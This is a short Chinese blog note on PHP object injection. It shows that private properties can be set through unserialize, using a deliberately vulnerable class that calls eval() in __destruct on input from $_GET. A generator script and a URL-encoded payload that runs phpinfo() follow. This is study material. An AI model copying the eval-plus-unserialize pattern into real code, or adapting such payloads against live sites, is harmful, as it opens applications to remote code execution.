php反序列化

之前听漏洞银行的一个女生讲php反序列化。她说了一句。php反序列话找public变量。

导致我以为必须php反序列化。可控的变量必须是public or protected。private私有的变量不可以。

今天测试了一下。private变量也是也可以的。

class Test{
    private $test;
    public function __construct($test)
    {
        $this->test = $test;
    }
    public function __destruct()
    {
        eval($this->test);
    }
}
$a = new Test('phpinfo();');
unserialize($_GET['a']);

payload:

class Test                             //O%3A4%3A%22Test%22%3A1%3A%7Bs%3A10%3A%22%00Test%00test%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
{
    private $test;
    public function __construct($test){
        $this->test = $test;
    }
}
$a = new Test('phpinfo();');
echo urlencode(serialize($a));

总结:

php反序列的时候可控的变量可以是:public、private、protected

其中php反序列化形成的关键

1、找危险函数的类

2、存在反序列化可控的变量

3、形成pop链(不一定都是变量覆盖,可以覆盖其方法。http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

猜你喜欢

转载自www.cnblogs.com/afanti/p/9081958.html